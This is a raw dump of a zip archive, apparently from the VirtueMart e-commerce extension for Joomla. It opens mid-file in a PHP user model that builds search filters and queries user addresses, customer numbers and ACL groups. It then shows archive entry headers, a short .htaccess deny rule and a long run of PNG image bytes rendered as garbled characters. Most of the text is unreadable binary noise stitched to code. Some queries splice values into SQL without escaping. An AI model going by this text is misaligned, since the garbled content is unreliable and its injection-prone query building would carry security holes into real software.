($search = JRequest::getString('search', false)) { $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); $searchArray = array('name','username','email','perms','usertype','shopper_group_name'); $where = ' WHERE '; foreach($searchArray as $field){ $where.= ' `'.$field.'` LIKE '.$search.' OR '; } $where = substr($where,0,-3); //$where = ' WHERE `name` LIKE '.$search.' OR `username` LIKE ' .$search.' OR `email` LIKE ' .$search.' OR `perms` LIKE ' .$search.' OR `usertype` LIKE ' .$search.' OR `shopper_group_name` LIKE ' .$search; return ($where); } return (''); } /** * Retrieve a single address for a user * * @param $_uid int User ID * @param $_virtuemart_userinfo_id string Optional User Info ID * @param $_type string, addess- type, ST (ShipTo, default) or BT (BillTo). Empty string to ignore */ function getUserAddressList($_uid = 0, $_type = 'ST',$_virtuemart_userinfo_id = -1){ //Todo, add perms, allow admin to see 0 entries. if($_uid==0 and $this->_id==0){ return array(); } $_q = 'SELECT * FROM #__virtuemart_userinfos WHERE virtuemart_user_id="' . (($_uid==0)?$this->_id:(int)$_uid) .'"'; if ($_virtuemart_userinfo_id !== -1) { $_q .= ' AND virtuemart_userinfo_id="'.(int)$_virtuemart_userinfo_id.'"'; } else { if ($_type !== '') { $_q .= ' AND address_type="'.$_type.'"'; } } // vmdebug('getUserAddressList query '.$_q); return ($this->_getList($_q)); } /** * Retrieves the Customer Number of the user specified by ID * * @param int $_id User ID * @return string Customer Number */ private $customer_number = 0; public function getCustomerNumberById() { if($this->customer_number===0){ $_q = "SELECT `customer_number` FROM `#__virtuemart_vmusers` " ."WHERE `virtuemart_user_id`='" . $this->_id . "' "; $_r = $this->_getList($_q); if(!empty($_r[0])){ $this->customer_number = $_r[0]->customer_number; }else { $this->customer_number = false; } } return $this->customer_number; } /** * Get the number of active Super Admins * * @return integer */ function getSuperAdminCount() { $this->_db->setQuery('SELECT COUNT(id) FROM #__users' . ' WHERE usertype = ' . __SUPER_ADMIN_GID . ' AND block = 0'); return ($this->_db->loadResult()); } /** * Return a list of Joomla ACL groups. * * The returned object list includes a group anme and a group name with spaces * prepended to the name for displaying an indented tree. * * @author RickG * @return ObjectList List of acl group objects. */ function getAclGroupIndentedTree() { //TODO check this out if (JVM_VERSION===1) { $name = 'name'; $as = '` AS `title`'; $table = '#__core_acl_aro_groups'; $and = 'AND `parent`.`lft` > 2 '; } else { $name = 'title'; $as = '`'; $table = '#__usergroups'; $and = ''; } //Ugly thing, produces Select_full_join $query = 'SELECT `node`.`' . $name . $as . ', CONCAT(REPEAT("   ", (COUNT(`parent`.`' . $name . '`) - 1)), `node`.`' . $name . '`) AS `text` '; $query .= 'FROM `' . $table . '` AS node, `' . $table . '` AS parent '; $query .= 'WHERE `node`.`lft` BETWEEN `parent`.`lft` AND `parent`.`rgt` '; $query .= $and; $query .= 'GROUP BY `node`.`' . $name . '` '; $query .= ' ORDER BY `node`.`lft`'; $this->_db->setQuery($query); //$app = JFactory::getApplication(); //$app -> enqueueMessage($this->_db->getQuery()); $objlist = $this->_db->loadObjectList(); // vmdebug('getAclGroupIndentedTree',$objlist); return $objlist; } } //No Closing tag PK@y>\)*components/com_virtuemart/assets/.htaccessnuW+A Order allow,deny Deny from all PK@y>\+components/com_virtuemart/assets/index.htmlnuW+APK@y>\opj8components/com_virtuemart/assets/images/icone16-more.pngnuW+APNG  IHDR0܋ IDATx}xUǺӞz{zPhA[wĉQBH J_Y3߷3k<-No'">}ʇ~~u{]Ց?2c@[NqZHFR}Qzɤԇ>m߼2)7 !Z];\\N,yydmGg5a :j9Xt6s}ՌR+@} 5 y;#-Zw/?+^ _(r—_Wb ɯu;)} 47>S_N\lO8=Do^a-?х/VYEP(TTF\ƞϞ V>TqP v\ ? s[툘қP;s_WXWxe]}y,t:!?RI~*(¾Ox㎲eF M+E=gVPCpWݍ]=[ᄸ gDCodm Me!dМP9ZN".@J(vypZzᦶf>2sŨ q-Hr(j2hPh&;#Sea ŅKPU@^~]i]_[*=1֓gh|ԑ. MHj'w $@]Pv<"4K?}۪KPBY] e+΅K' o0yW\O7vb0Hu?vW!mh &qf7Jp|gX9N)$\7C>ښں,`54Oh<](OB@)b4x{\[fFE~2mue]܊TGIO2tJ"^F6Qia31%~cb; "Nȑ#8Αѣc~HV 3Mk  s$ͮ3w:v c,c-Csa xayos~~3" m+gz "NjAv%EB 8pꆹFvзrsEy>c:Z89[X;o:^R7Ƚ^3G_: <O_p9CFD^}<%n‚+hcy]sHL8ۇ8 8`5F_' [xo=t-] 9+OKIV6uWa`=#D Xno 8,vv,.ZBw󶃅/OK!6X֞ftaT cGG1+U_ ' s,%8 %/|~g-{ZS=@Us*kQ_:oB/AMs9W7=F7\wd:c``!iU%&㽨"ŕiF4OˊS!5|TOH)E@)=R`cZ4(~ϻcj㉖j C+yZF >:G$x4Oh㎺7uÇ5uewUH&Ny)K_y( <;/2<-uԆڎ;O O )ο1LN ykik;(/5cyZF eZ܍kcH+i*msGv|^YT` ZFW? M= HZ$byZF }Gt-q75Iy-RFids vs yZCKwcp76t XHQj;9WWڸ9 Heh BAI9BCK:F8%&S!" 2ZGmT lfNqGq8p8p/2M€P[IP_t69{(3)J>7NIC A MzC=T}}uENS>WA"1xCYKc;w' -LX.+JeX!2vQYV X"BrU|,>:EFXZ)uJUk4:<%V"$3[F3{ ,DU7%eť$-%bѕ 6߁wԺ,v7KEte[\of> a'*B,#-q2;( u(Aye5+*QAa Sihi6V6."-R X [Ry&4ஸν& h:{^>;H oZe5]mDuMz 4@:4& %Ä:\[+~6Gs-*3p]L@1"Ex:E )K7_^e EFĘoE :0XTCuy.xg`3TG("(b~x5οdd| E $) ~硹s-BZ8_ ?ň0q]wWbo8X9{c5L#vK@퉟$GIc=N2-~B[0:$1́N}@CJ#b3D)@^x(- ~{8<qgy]껇^tvv-bByq\C 8,azzce`|f,%>^qF_O[e ;z(%YC ]]=$e$(k?"1~$Km ^? )t"FF;6<ƒ ~W#,7HgyCx 5ak6"і,ϣ x%^ƫxM†6x:E1a ctt k򶒳a)[hܑ#~R"L찫?Qqg~bY}azpįoH6!v6\䯍{nՈ"hO<[IKofQ1 ~1J<[f" F^cAN{]4б,zT8p8p0.#"\Xp۝BRT ?TQ{N̝;wPDO%;"c`QWQꋪxtբ(EdB C3y1Ș܅QND*3}c8%)4pJ' xBbDU> CM-5Ġ 6@q Zjs'.?g5KpgDt5pFA.錗%#+WCB̥q4/0|>]DUqYD[<;]ouQ'pM)>bz8)C5O<%y ᘣ$drшcCH}t~cwG.hayBNܑqvz)K ^JcV.(ɜ?o?,E^~ W.D_8p#_v΂teCZP uR nO|"0ݡRcg F<$^/_oJ<wrt^?dR G0 3J4g 5)[Cx RjKA}',_ W++ZZfY"t%p#pʟP)HzfFoE_B_zRʿK36 [K=hvC;$u D{h[4Gau> +@Nʽ)1gKby% h=s&ۃ$BG貜nhg PV/CHhwcFjZ#jEoK'-u|c9:d)܉;ȕ 5bq]?By&2>REPqz@=3$VOL򑕒@_MfB\,ar`%rR CJF!RXꯃ(,oa#AyƴL58~8}1BTy 3qٯ)]*f~^ #pYuKwL Ϯwv3V "024¢q {aJDWvf)+W_  'a7ꮳtC2o3O5Pjju_P …HxA-e0$w*>.uj7s}%~Ƴfh$#<#cdChM8f D@&ðH#Fqw+4:\fk #23 (˂I̘t]LDGv݁DJD?dV X#_ eLzq{!9N^{%pA$^ ,ADe*)1ջQں>( iAw[,H:\_8p8:ط;5oP[#k5~9'>vԆRaO->Nvp!qQI >0+'"*sN5%ˏ 6ԖS %8AIQpʌrPPQQjK}Ҳr>)ܼiz[:Շ.tuvie+G(`cc[[J[oEpcSK+r3YP ]cJH" / f.&  գM-MMmhiB[3iq6/@nTna)j_^ e(+$JVGHmZZ'`s{&cqE1Goaٸ$%1dpzUU-#%?MTP ܻhkkC'8n5iH;{b8r}dl#(9Ɔ&ҥ hk\WKX*fK}-ebNb֋/ a}DPh0]ݨoh>Nm p;ZqVcKC-:~ZrrpT`ttwڍnl 6쵫AWk#{z@})Ғ Zndw ,! #GY/>}x5 rF 3vޮ6Q{ 16Z!51 qx?z}8iwce=z<2 2G>VXw!233Vw6dPҡ#wt?F?W൹8p8p7 "| v<\'{@RgσX&%˷>wtLD#Oí ?A sȺxfmhRG[ ZU Tee*/SZ,2l,"\jSN> tB^p=>p {[(9Yި[*eIY&KpLzaɖT8Sx[mSmTPO^~t7/HmOMCIzmܺJx^E_%4^yݧۼ8Ȋ,6⭳Lǻ Oma E@P<9pޙ)G||=Pd)zⴓpZwI/ΘkFX` ު lǔ& vPHHwns,AMPi>?ހӌ=~0&@- V2 R=eX ފqlLBZMӨ2%xDT菸t^4ڽmrW$h G`4I]@%P$w!f 2<7(Z 68A҄,6k\*a1Ɇ=i}4ETLbp*[5|0 s ?'-;#42ť.YBI=';""2 w̹> GZaLDFDZhJ{Oq,m&wfx{㕘sn޺GIAb/WQX釆!$7".B{+j7l%?q;!OwQ\\twwEow][)ƋAxA1p 9ې0sa{΁K0>/8p8[Q&z>n.$)eýe콓@wBy )uԆRqi9({آkdO:jCmGFp-.QĒjd*MnPH(>l-',JXXp(=SAy28w,(ٴ | EDHTI|HQ~_F0C/ j)l2 C IDATRiH,f#XnPl2W½ơpE*a T=(g=@K)¡>4rj3(@}+yF=w!l;xAxlmج>"p' xtI+B:8F8/srسs'{6O|wxvLx>=HJUI6W@}%7JAS>#E fK}ap8p\Ĭ*Ǵ7M!HZ?Vv HO3xCc۷12;^i픎V6v^V60b~Òl +HHH`?cJIlL- kSS14 h߭f"+2%䴔?,5I(FڊHƀZ1LFFG-2MT}};tla܂AdNi&@*D/:#s!#{GW73<-En^>i lmfp-SZP9:|y7nvZF;䢛q3͍tQqI㲊Եt>{|p'(ͮ]GdTs==mhj.o.AiT|HyzaH .:&LN[i@ vk;iVF'LzIaènh-5>tLX)hbyZF"Jz x[^A)5uŤNhfBh]7![d & 2:~0%wuM-1Jİ evt+!/+deeL4VٙA^\."4*5=h* Gk=k}p;$7`a}i K0a `"DN$+K2|^U캦7`a([qC&/ۚ:eJ @^4&MWP!Do?')ps:gz,/v3ܔ_ف㵅 8p8xߛ.3RB1FF+ rhP@o{TuM}HJlllm``=]]>!-@[q!`&Plc#䖅)8ҏm8܏6"sЏB .R+ _DzQ|xKsy5%QS#K^O"&u= 5u ۔7>ԆRP_a $yp>*4^ݟaan$<>lwd;3g~fz, >W(b*x, _k?T+XK4&bvxx L3fz< >W\N$,"s/mQ@w`0RoG_Idozzsd+{!LX{OQ`[nC'< "-=mJGOw'3iiiLjZԴTr܎A20Dp# z5o#g ,?Ef6+ U~ieK& !\ێJ]Lu;P,&,xr\Vް򄁹("!^];A(dXuԵY8 <;ҧ E{zz`LMTMAS]Y;QI$dH<3e!?0JZqLrjPq~W+0|75怊 o`dCC.}}=6(&Pw"ut3ԇ CW1OhcPvF?+FIFFk?bk1П8pUpqq]>ׅ[)mMՕw`XMiT'Pm H{{eҶ'$>ԗGL'@S},rRQQ,te2>vw3;]5[ZZ )A)&'$-1.>P_m鎖XuHG׽ Ar CkހHz gv 7 I@cS3RR!))!lZz̛̬71=#@{S(~G s|NnБY]8<%Ek]P_ahhhdAb``Iɩ,`EE%E~7|\3.VC _⑹px6j]X#ޅrh^ R_|=ɼWWճH,B,X9Ν>hNi;8/PSU܁ 'ǞBFdċ!3A,$!'Sϡ My)g JgP pe_kˇ.;=#+Erw/*Bn~؄,&1 #mj%iҢOctGf$r`wgD4Y"NAQq _9s|Qq1v;{;%^Cl#5&w ?$݆ijsNZZ9(JȉsG@Rh2#s@8[[hh}騐􈾁wxϸut{](LfQz܍K03S'%]@sT :|v(.)e45kCM_*_ލj'<Һbe iZ_rUT06WFW***}cvw]RZƾDvchRWM1+.<775('UTV~?g:>ԗO}>@{H}t/ 'ˁ8pGnu{H)O@bGߟ; M@=aB ߎS?vk/>ǃxJhWLxϛ뺋vW,E[rx4i=ԏrT&iam@!œ$I^:jCmsT5`5ߎ؏ E$FF[(H:?Bd*?hQ' 9-#0!dEτku&v~|iކ`4(` z(+h !'sC8́̍@n}4Y=k4/jԇ)fWڏGW$cyZF >wR̀@̚w D֢ q0/!y$DFeP[C}+ p)*HpŇ#@IASp/`<,fϽCf3"o=i6ԖP H7>D&(u9A9Iqu\;?B'I@D~r': >ws9B" Z~XDHxK^׈op!kh5Gs)GY6ԖP H3=Q!| d^H$FDNf>VR2{`h@^ m+~by %>w PtŮe"hO$jI/ן,$ '?H3$^&D$gé{;*ne"P!OL =WCmL_"=AtbӲԱwώ} tF8p8p___-FeOZ>~~޸y^^ }]V5%Gܼy/2ZGm@Vx9<щWc#4OhUո'F[@{ƛ<%cO$oNbus?@75euVXYc̄f,=};0Ǒ0*H(kj8I'dhb|păxX2%9^2,ZP[a 섣7{bv"&{Vm8wX#7ĦM[ q{5u,HLJAmYѣ'q^RPL|'ɓ8v@1&`boR7iWWDt8EA|y@m-`ddNFsK Z픒曚;~Zl+'GƼn:2wSj+4 hcyIDM( e1ɬ՛E }yj#)ա1M܉3%pFӜs>~p B /\=%@$lB@/0pZ CPH~L2@n۶yۊ1yxӠ(Zm I#cB@AwCzclr?tᄒ^)k8y8Eԯ"jf8Mꩭa|haBFL-y5 n$8p8LF7#AW||yEOZo𷉔{tJmD$>y*8h wʓF|==fcHYS@[ₒ*.h@FU TQHd4XzAI 999EdṘNyȯfe0UA·v^W *AxK6S9zFŠ{"hmz{l"e@9ɗ V='Y:&*hu1】gA=Pd"-@?.iBsӳ/)BVA}LYڠr x Z[f4TDҼ7q*qubE៤'%T[x} ոk.N/'B]u'˛rh߹q@Da4K1~ ̩yzᦶf>2s\ȒQ_[b$?|^$j6"n#j zgS@Uz|I#X`]EVn'sA6 :Z"_x5 ªR ?x哊zfwxڋٳ0#0PQ,s *(tI%/[a Hu?v f"k7:92:6bK}'Ep%; "Nȑ#8I_"2ѣ8~N{puZBDg_©2'O^1s8,v$KธN:%N@"fAsTDzG%:Ng':wtnE)I3i XZdh 48Ku`[ ۼ+Bi8|5rl]·$PE )٩pqll`{6^6pbU6vYd`yNe)K&': 7[P%07))y@C>,kU҅#6dOy(S6Eئf K1v yWB'1].u\#+'&e݄]8eX)8}fл`cZOE-7\ue\":P؏B5 z!XkUVKZNWZe)wpǸd7k2i=~cx{͖jA,i2q(>l켑fhƉXg_dRҞ=]/cCH_3r[y "q6 ']p69mMqI6vƗǍxBZ5ޠlxϿ/8k?̍+%E]L3 #օ*.AnBs@7D?ƅ#CwgF>7 @SB3krPɾ" 19V.t.j To(¢0noOL2XY<^/P.N,>z~ċ sN:F'yJ wgEQ }5(Y?_ryx&00n)x5.-g<X@' ~Rd]=ctPq~|u"4X_Uѯ[6؞B_xs |qzD ># 'ޝņ"Ԧr<^k.?@_ouۯ<"qA/;1@Beѿ,׊. / |F@P!?+) ڶ Pyv3`:^Zh:?iҡD+a0J"'+l#TՀw`WކyJIɟR3݂ IDATT<GZdѳ-6L%tr"Bo"69~N:_4r%~0 *Pp\͕p,SI:  }L`OX .s :xSxN4<#c0}zoYT\vS@V &k` ibL{a,ۈ8p2tӟiIIl]>'ZoңPt ؃^> 0b=l;SI'Su@k+rvft74w!$.BqjVl#g"Ee(lAyU3j+Q_QRbfK}N~,[.o^5MGœP]Yɂ~ ?'7}[{()-GIE-Jʑt<$ ws hBey9JK˘ϖ|2+e7Cpg;&,#Cec/b_@;@>Lm!Xv m ">ÓYvtf<\^</ ॔>H>gb=4#J*QOs;TGLy{<,6-E5%{Iè..F}asQ,d w67#8B}KHD,^#ir;^HݤgdH vGVTUe' ;ae?.F0 dW@-,[A8j "8}FDe'9|v_ֈ s8e˨BOO/? I,5Jnl/ (lfynׯ-Ũ>\kŻvPR_ޑ#GIH@IYQgQQ3HMEl0tV!VmЏ8 ݈ Caـ¡B 0ԗw x ۄHZZ .ݻaaرs'@U֟< Ma 1a5]kIϑ"Sg=~g~d:={V67q;REӲG'y((,}xGWjhK hi)nAC\ @Bxqwww7 $$4=sٙwggf7;Ww/8zUz%gSHP;^:RPnK <~Py CDDǟ8KXΝ73rjGi=^ 癢ٖ6$o&?Uv^qqwV"Zn)D2r~A a.׬]D?[Oi9p: in']",$\L쓫R!X@dKM!hhj#$4!m7D-,vԞin#-WWR P%nDgr]qQ1qrgtrjyd']ⓢt!d2E^ĬnWytyϨ󑷖T8ȕ7MELl|>ͧ嗯^'X"ݤ.On^P\BE, GPDzxw^.kJI.Ȁ sHHJA\B4S;boݧ7D@4 ;Gɵ 'ЁGZE8 {.\1Z:8¥˸%,fK/_iS;KRד]Eh\.ɪkZ  v}3.9{ޛ9uq`WU YR/:<{Ҽ^gǡNuaI_'wW=?_Bor,X` ,X ލ]X-6PFy,$$Hr~]|H/AĽu\@YG˨M?jxo:ASM| nWP"X9T("(|?PBqF|D^dlm`ox'АLwiya\B4? <5N0Il+!gqg*XBd<*T7|="7-/6?/cv2c䔐a pDZq} WTy( TH1?xٍ(Hمߛ'(@2@0)GHI*#wnQg4>K#MKE0) ,~NO{l0O$?2qFX'"1 6[ >(!W"3(>L}yt/]RZl #6HsHK FoʼtS@rdۜBnʯwq.#Ak Rw L~Bef(&]\H &b,Xzt"}&$Kk(GI8AcbC~0* 56Ic{m*мu)Lgi^Hۃ+/:KykCJ$hoE^s3B@_J-ʨ$Háv;0s:veTFN.Q|yGIڄ`Ű%x%6,Aq8KlK,cxyou Z$ &&Pzq\~9c4ƹ~Oo@mgbl| ,X` %V;9/6߆"Qn%jM3 +cSs<56Kk+܎h,bA4A~}SO.bZ=m/= E'@W HȄ22t3҂\pvj0z,Yl4Vּ;hvkH 7uO\ 2<%Ņ(,,@HH0-!5xgJhz=w*!*Qjo&@MCq("< 5xodBl4a cHU ci^M4gB @41y?35U}yVitzOW%2ǡgv=($-i*[ѐ[2;{HK5"@{>:T$%ġ =8-O@kZs>_緆th˿ d!6:j➢WSL/2ߊ6.MH^ 3ўGt#_3 2r N446 W@GcMθZ^uldP%]e#c^-ഝgb!倠GbJtɫj#T2{܉E%;Z ,)ޙ7!^ -S"NeglOG఺+]1O˹7ě/4_ ,X` 8ࣘ*اi>)%vk'Ϝo{T>}njQ 5NO˩_K˔hk4z]ex`KE8Uo.:i>-vԞ㡀QUahЁ]rGaQ>T˺*g[9,9orjgWBx)Ғ`lƦF043fhJhko"w^ B#zy<t xe$% R\J}Uy | ŝo._; /YQG/l\EV蕤,EiGa≈υ;9qBG2퍫W]"ܼ$9qQ8f rχҥF7w^ݵCYdd)M&g={%(H@@@7_i"V̙(>yKbؾ["3x\ֽ˯h24!,rJ W0=++rx 2WUUQq!agA8zX Y'7~!jj^@1rKGw*z gQon&P8ћYXVx->v&0y >xpVDgzYpVeme* d`H0k_?fCBJC!hh m--}X%j퐄)'wXHͳsx6`{o'jbn^SFnRU岶 hjjdbSί^lvZ)LuvRuH}_zw? wjr!fF5._- >}8?e_yiķ#G o} ,X`;FW+싫߃WH2b~m=..F*R<`]Pܓ$U)F_:l'}3Jo4j,% N7*9:?iFb[l :v\_; G׏.mq@Ph@%@ٯ RIp f.꼩"?ᓿfUJMV@% 3p0 ko'bb+cly*8sT=ݩ>Hre+%-P Ժ0 IH9Z (6" 5bpX5g":W͡\Q|= Y1g~H B`YJ9pHIGLf 4W8VuPޅb{ g~v2r[~tQԬ_Vf\݊K r"1a]o[o x}u8qrkGV~tֹd-eH4Va1kxGel@? q'tj5.X'i6V >0AP Bۇ0ig*9tpVZkhygUM>w׷ W10ŐilC@g`nd[9 gŏ Cfci5c}j` 0&` ,X`q%/M0\6"Nc#9[חs ݶN3Ұ@_|Uo,++5_.D"J87%ο p,|\Z%$o@(ݽ :ps8p}H!] +<| )z8.#8mQюMLc"E( Mx))T )=t p8*Bb5*+P^Vv%[_)Scлb XĖ~ %B|HH<@ahZ?3*ܜy[+y8gb\22tȑzskXv_JXzߎp:fF 5mؾg?׎?0Ӵ65ꏖm`'Qz ppu+.սm8z׍KA2jWͣempx.'[oW}Q6S` ,X`oRp, R/QʁоcKP꒡cnpkw8 ?Y~in_^_>;*uyn kI>-O#3a*?/Jx\Tp!<uٺrGm@݃p[sX?f~'gAo@_!HDґxȻ 2&ECa*0 D` BdP:-kG]8˯Sᛋ#:-XGЉ; dah]CP o?FH +U~ ̄ʟpzG462}$ۂ.?. .RYwX.2`I5OO1*QDɁѵL<]3'В o$8\á 3K:0a r4<~$9.B%, R Kkc}ѱUOzy0 k "qx"Ƨh%w)M5ɈᇷA,.S1(r bK6^Bj / 3>Sar2ҽks VF*nYtfLg:H|)Q](Zh$qYKI h?6c 8vt=vYa1|\vپy~?ڍpH:NHc݆Lez}R@70ʆc,zZPVZ8w<_ᇴU,adbNZ&.Di'.#U#ǞK][lŁ$f곉X'bN]2}DJ IDAT 6K%̃ixjhZ<X o8 CBx9h[{#y$GOd?!kVƍw>{<IDnfPz3wh@Cbqѱ]DӻXsD+v_"etPbÆLZv x"9Evvrs PPX{w"#n :qBr/?nkbk4Ԧ ⱘm髏֭%!O gggt 4x"g93 *o}ǤiY^w냠 x2`ʒn9 IM]ޟȧFW@5Wy,X` ,XxI`,2K< 1ijGÏeqWQwU[ިbtL}t$_bΡk7*7uSj͡ǁkrlTn93իgj(Z>#u@C@{)g~BBT9Cr.'kQj!gMd2]!Xd.W}DdQ@ cgўx+BIҮay'1 u0Jm"t8\KDGeQ4+@tpY:BYrJN7 H8(I<0Y0NB.q:r͈K.Kq>}!l#vWq\_q>6l.1g Zdn3D~OB_ D LRxJvh}bB`?qlLìA9$-9^'rX.2Xu )R%V7Z$}ڎ!M `Ƌ!>3p[sЂoޓ{MZ%ߺ5gDMwGzuH]i7q@%4MhcCliZcyya\$ILqU?4xkN3]f `U̸Bx AE)=n34ͣe e,pUJt'!xWsvi&C_.yb<]ɯPx}.54ͣeԆ2݇K̓p7aփ X:޽S.] ^<A3ni"2w"kr;Mr4ͣeԆ:h }ߨ ybčiw(R sҺϷ#} YƐi-6Ԗy@KF9" Xt0f^qBz]$oGjrj׵ i2jCm*K@*yO(ֆ<2OIJ'cCyP[Z-gHE,rR)>I˗.k·.}7xpusE2SӤ4͆ԩx]W7o+Ý ouX` ,X`3tl-vk Ni8! : xQP]4S;j?>5R 'NO˩h{v3 /I3_K/58>QF-yOrҎF-r᫞QJfp BV֡ UlhAUC+.dz"[ \svŮD7a]r g_x۠eu?xHQN>pohT F|:1?%edŻ eH4OXTg<7+>+p*G"2;6Yb|0]]a*+Z4!466.~r[ dAS2S4@WGl J90,< 0)FE'~ @Ьh A%^ axWԒ>O? zOs$HKW7,ICGW7Dx nK rA%iRq>e͉)ٿ۷j*.\QٻXA xĦp2㤧/%_݊:&Mux6ڽ9|PM -P_٘P&MD{D w5f*AD.tF$18E3\ncD$CyvRp֟s߰_ՐM c"y\$#0dHƻ.d*Sױ4rW iN -@46n i]ǐpfo~ և5~ cǷ#}#ی I2#O{;H(zw['P\|W % j W\uѲ~t8)O? Yw?p~" 1].8pזpw@,X` ,X`aG&k0{'0 y }%M9&Yq/\Eť'٭C+@NMMٳgqe"gƤ/_8:><4=I> Y,[An뀍@9d ߏ+x|a~EhjjBKKKיOKKC\\<|PAGiiⓒV? k>EA=`NW "6sh+*x1;}knv9F+ДX[\ \My&°a# Gh@:̍ѬMHUJ([џ!lȧ/Vӯ5g0yOoϿhʟ<Kfz$T~Bߠׯ:r?ڴÏ6r?jtU!_Kع@F30roitO>SˢA?"e> 4O!wMm9zIe,X` ,X`:zw\޾VV0AKfkim +>=6=FuPTTDzWcL Nv}xXSgdf!#3}Ã̶֯ >堠#6=.;d '7y̖S3l)Kad(rkrcȭi@^m6X rF.X20O P@ϝa$,"OM`db "6 AGA;wPAq)ʫj׊ȶ4>_T\rPK=$)3!\E%c嵨o1 J ;RprCupna +*+l2L4y?w\:t{E9hq)MqQdv?<@L@BL2c_T7 @(O|QD;sT:7/SNel[(LT71g ԝngG1/ 02 ̀ -F!FouN_HJ2cJ˙F׭[a1I] ΀7#hfߡCa;7>#H{.>[M8[S@SS.;ຎb؎& 쳯"O5 Q_ ?I8|IB^&XFwCp|R hiiӛYg9/XYe3J ~rgЛKh㌼9t̝r|_zNJ:iyi!qo+qx.v?_ƋPp ǎE? d0X/X[e1.ߵqI1e4Ks2W{'gF/ l?' ]'DdVtXռ]hr: /EkA"dm݂ҩS3f ׮Ö[^n滦0~%27@I=p{"Mۛ/kt;zs&5u,(9Alu&{@?Lp;'r‚ ,X` 0̎ F3t<3+q#v<߂Z3xjZ*+Q\Rlxxx3S2F6F(s~%C&}S20T4 X:Pҁ'(@0ET}9~41W,vÊ[;"+;.psCW'( :BKEGO!(+.?'N3eJX&rإ ҭlAƏM U̬,!4, wzq3T҂Z MtLvbkm:lR tvHfmlkJHפ>c+ DXh8ddeoq/H?-c?4-A(,Z]"8X\a3 a1046M]nUXqJz&g\ 4M砖@K= ;aJ&ߴ綀-Ηj2=rr 5Ð.;ORL98qѣ|6olik\O#U= |,ͧy4D/cp+v?1O IDATAGӡ;t瘲&+(Q 9 .Y;$dH&#*FPB$m%JߣHw/oA=6F} ,X` ,zౖ<1 M,`dn#KG[9Aߘ 4  %D6]Ajӧf$T\"(";'Q`0F'/av'-"\[.,zFCYrR .^I,"ggr`|w8+lSm4GsW uMPE:60 G'pa|I(tOlAe} U5(#s?ENv.9&CAq%(Ge={!ކ Ëhܹw 05D^^\= wB/[! }k} *aa)i/pW } 98#:&^>~O!)*lhڇ!%1wyF[mqo_-`ee=ckl 1rDY_ t@^*ܪqH32Y% }K @xd4s)bDx""ōv*l߳z, x2UԡH H`%Vs%*\VB ^՘p#pLٰqk`z sLUb5,isyio1Ɯs(^ =꩸l~Be\HŷGo o\ti';y4ilKap_֧wذ` ,X`8gisR/up ImiR7pPGD t7$uh݁s\7 퀼W>r,L>'i-6Ԗ֡uUcV;Qxs}ZFm-CRo!`Z9tG4ͣeԆ:F@1.:Z 脗@bkt4QjK ę ^.ݞwK4Qj[841LבK3]c4MhΠP2NiP AJ JV%Mp\'2OEoܹ-@w|883LYrx _?w׍={s<Y72Y#vd5 ^/8N?:KAmp:=:?< ,X` ,a "OGlq8FB% 'tKI@`þ>\Qk%F‰}O˩@NDJrJ[xAzj+trjG%.֏+]:y#ު_BA(hdt?Q{Rw}gpB7Y<6X)fBi'$\ptrjGi}G-> *fy7f>чBCfKi>-v~P7(#S, !YL F:trjGf,!"C/(ǃ\Oi9+,?PtFhh(밬k:1!AEg&.H;?s$H:>}O˩ݠz@儊0.a"4jP}O˩]`PRPGJș G@n=^Կ$ۧ(4S# LYgt-ؑG˩_oPSy5BQ{Zo}]?'f ,X` ހ  5X%5RN mr.?>Ixw6 LA g]n$4]=eYڂZapVH821_@n4>E) d+w|`mtݦhлF{!ی#M <>'tZ P5g6>0`,X` ,X`7:Rf(iz]/Jh$f]HVT2i7~¤~.=ȳCzCylKR% b i *1ko&3iG˨@'B@oظ Cy t|@%:>K6`HL)6vP+dBыP䱁!M3yP[ZgB4g>!.Vj i%`HLSuosUr]gہDr7 ou4G˨ uh݁)en. vqבYaO5!,:"$b\r:E;S:ɂ ,X` ,1UW/:x《o@'6. :y@.M2r}m4о zsdV4 hrf^|5/"@d6c{R,wK_4\\}{"vA31* NQ&jI-OdAԾރqJgh:inɾmא4bG%шi`E ޯЋ 1㙐4!e>IKr)a2)v~}a0#MP U-d#JRN@z3g: UUٕY` ,X`1x0K7{fyBgΟrj i$?P s ě>kIQZ~ ntoݙj6aSp8:AE8Qj1']N+ZCTa8CGd}:c#!wIo`.TOwP=nZ3 [P[*s4Y^$[~*jhĵzx0 3VyϘx=%zgG}чomyhPTEÜ%hP]ʩc:&L M48 дhDUbr5&]_`R`F`j`Mi3[Ϸg1-"q4oϟ `0 ׇۘ*)& "黎EI/DGh""[+;Y[6=l6t\ t27Be hksZuЏ{S(GBRI_K8!Cp%=J]sT#z[?y%@Z+b"3vw^|թxQq $:Ux C^p$ メ87g}/ߏHDLFX ɐ; !c"QTRo8Ϸg1KRSeO4slob`0 ! Fa:ADxnpɀS"ON 8!м9?0X` -O%=?ZeK b1:0D@$+h6Yp̚+/1R7DX4pbz49<EcqL">@9$h>19|{c$1dނᇢ0 z(ӡ&F4 07`1`4tp'q-8^EOΠCX:`I`w)n%Bc[9 yZ6lzGpq4ob&T{;n ,ৣOč^!Xr ?әG \KBw^<`ɽ7|{CR̨ S^!3I 1et2|ҫ: ?)mnwK>08% )^ꘆv)3X{?Ni\۳^1b6G305 #ܲzG,ƨwC)i=huNwL[x=`0 `0_'tXe ":5Orxql.Q>Q Qײ?1m\b6 Vh(bg_jvah!ÆDq4 0O w+؟ށ4π`E* Iw1T"I@F` YRzt2Q M7qe\87`_(}Z'" \m4/ F!X%ޓJZMbZ)4\B Yԓͣ5yg1VP,I^G"wG~c,OȠV Nƀۏ&iRtw޸$:%wY=R(6:%u_2(>ыIYv7NUuwc4^_h<ߞȴB~ @>h=|{#bh 5yrgj|{?1`0 :a|K)@v=p䫛8f_d@H2Y_\8# -^@CXy 1>F\;e_W4ԭ's l~@|iR^g0qcRyzGPv!O* $EZot $+n?Ii|iHc8\\0.Y KcឨJKOp,a`x=qxx$s^EzG,1TCM:6?`0 `0א2 +Qzn~X!>588=7y ?.܏PmKlD (Ns'Z>M& n]1;5$$\cIraš $iO1H> e ъF mm6H{aGVsrHHb ̉8RōbB!m:WX{9 - cD 2FX'aE">eHZ'c\=\ĐZ`dΤ`s|ۅOiXc30>]̼EK]8L 2 Kp4o]nyGwi {F/טz1C$ZOD^(|_cg!^)Ď _/g&\(ZOh<ߞŐTWx LDI n]wQSh<ߞ?O`0 `0>$=x;rFlpN [pүoq-9p^ޭšHw0b/LaV$!Zs^ee*l/h+BU7\lAI#Fi` 